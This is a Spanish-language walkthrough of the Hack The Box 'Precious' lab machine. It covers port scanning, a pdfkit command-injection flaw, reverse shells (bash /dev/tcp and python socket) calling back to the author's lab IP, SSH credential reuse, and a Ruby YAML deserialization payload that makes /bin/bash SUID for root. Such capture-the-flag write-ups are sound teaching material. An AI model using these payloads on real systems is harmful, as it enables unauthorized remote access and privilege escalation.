Precious

Artículo escrito el 7 de febrero, liberado cuando la máquina pasó a estar retirada.

Hoy vamos a resolver una máquina easy de Hack The Box, donde conseguiremos una reverse shell aprovechando una vulnerabilidad, y una escalada de privilegios explotando un RCE en un fichero yaml.

Reconocimiento de Puertos

Como siempre, empezaremos realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo ./nmapauto $ip

 [*] Reconocimiento inicial de puertos

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 18:27 CET
Initiating SYN Stealth Scan at 18:27
Scanning 10.10.11.189 [65535 ports]
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189
Completed SYN Stealth Scan at 18:27, 11.07s elapsed (65535 total ports)
Nmap scan report for 10.10.11.189
Host is up (0.035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.22 seconds
           Raw packets sent: 65769 (2.894MB) | Rcvd: 65535 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-07 18:27 CET
Nmap scan report for 10.10.11.189
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos

Al tratar de ver qué muestra el contenido web, podemos comprobar que nos redirige a “precious.htb”, por lo que se está aplicando virtualhost. De esta forma vamos a añadir la IP al fichero /etc/hosts.

127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

# Otros
10.10.11.189    precious.htb

Ahora ya podemos ver que resuelve el siguiente contenido:

Si intentamos cargar una URL como http://google.com nos muestra el error: “Cannot load remote URL!”.

De esta forma, vamos a crear un servidor local, en este caso lo haremos con PHP: php -S 0.0.0.0:80

Cargamos mismamente el fichero “InfoPuertos” que generamos antes y vemos que la aplicación lo convierte en un archivo PDF. Lo descargamos.

Ahora vamos a ver los metadatos del fichero descargado:

❯ exiftool oao9djnp930d78gnqp0hdd0ecil7ue1f.pdf
ExifTool Version Number         : 12.55
File Name                       : oao9djnp930d78gnqp0hdd0ecil7ue1f.pdf
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2023:02:07 19:10:49+01:00
File Access Date/Time           : 2023:02:07 19:12:48+01:00
File Inode Change Date/Time     : 2023:02:07 19:10:49+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Explotando pdfkit

Buscamos vulnerabilidades con searchsploit, pero no hay suerte.

❯ searchsploit pdfkit
Exploits: No Results
Shellcodes: No Results

Ahora vamos a buscar directamente en Google y… parece que ha habido suerte, el primer resultado es este enlace https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Aquí en este punto, me atraganté un poco, pues al copiar el payload introducía comandos como “id” o “whoami” pero no funcionaba, sin embargo si utilizamos el propio “sleep” del post sí funciona. De esta forma, quedaba de la siguiente manera: http://10.10.14.91/?name=#{'%20`sleep 5`'}

Reverse shell

Bien, ahora la idea sería probar con una reverse shell, así que nos vamos a https://www.revshells.com/ y por lo que pude probar, con la clásica de bash y la de python sin problema:

http://10.10.14.91/?name=#{'%20`bash -c "/bin/bash -i >& /dev/tcp/10.10.14.91/1234 0>&1"`'}
o
http://10.10.14.91/?name=#{'%20`export RHOST="10.10.14.91";export RPORT=1234;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'`'}

Ya tenemos acceso. Ahora realizamos el tratamiento de la TTY y tras ello, si nos vamos a home y a nuestro usuario ruby, podemos ver una carpeta oculta: “.bundle” Ahí tenemos un fichero llamado “config”, que si lo abrimos nos da lo que parecen ser unos datos de SSH:

Nos conectamos vía SSH:

❯ ssh henry@10.10.11.189
henry@10.10.11.189's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb  7 15:40:42 2023 from 10.10.14.117
henry@precious:~$ export TERM=xterm
henry@precious:~$ ls
user.txt
henry@precious:~$ cat user.txt

Ya tenemos la flag de user, así que toca ir a por la de root.

Escalada de privilegios

Vamos a mirar la lista de permisos que tenemos para usar privilegios de otro usuario:

De aquí ya podemos saber por dónde va la cosa, podemos ejecutar como root ese script de ruby, el cual lee un fichero llamado “dependencies.yml”

Por tanto, vamos a buscar en Google como ejecutar un RCE mediante yaml:
https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/

Generamos un fichero llamado “dependencies.yml” con el siguiente código, donde vamos a darle permiso SUID a bash y podernos convertir en root:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

Solo falta ejecutarlo, y posteriormente ejecutar bash con privilegios:

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
  33: from /opt/update_dependencies.rb:17:in `<main>'
  32: from /opt/update_dependencies.rb:10:in `list_from_file'
  31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
  30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
  29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
  28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
  27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
  26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
  25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
  24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
  23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
  22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
  21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
  20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
  19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
  18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
  17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
  16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
  15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
  14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
  13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
  12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
  11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
  10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
  9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
  8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
  7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
  6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
  5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
  4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
  3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
  2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
  1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ /bin/bash -p
bash-5.1# cd /root
bash-5.1# ls
root.txt
bash-5.1# cat root.txt

Máquina terminada. Nos vemos en la siguiente.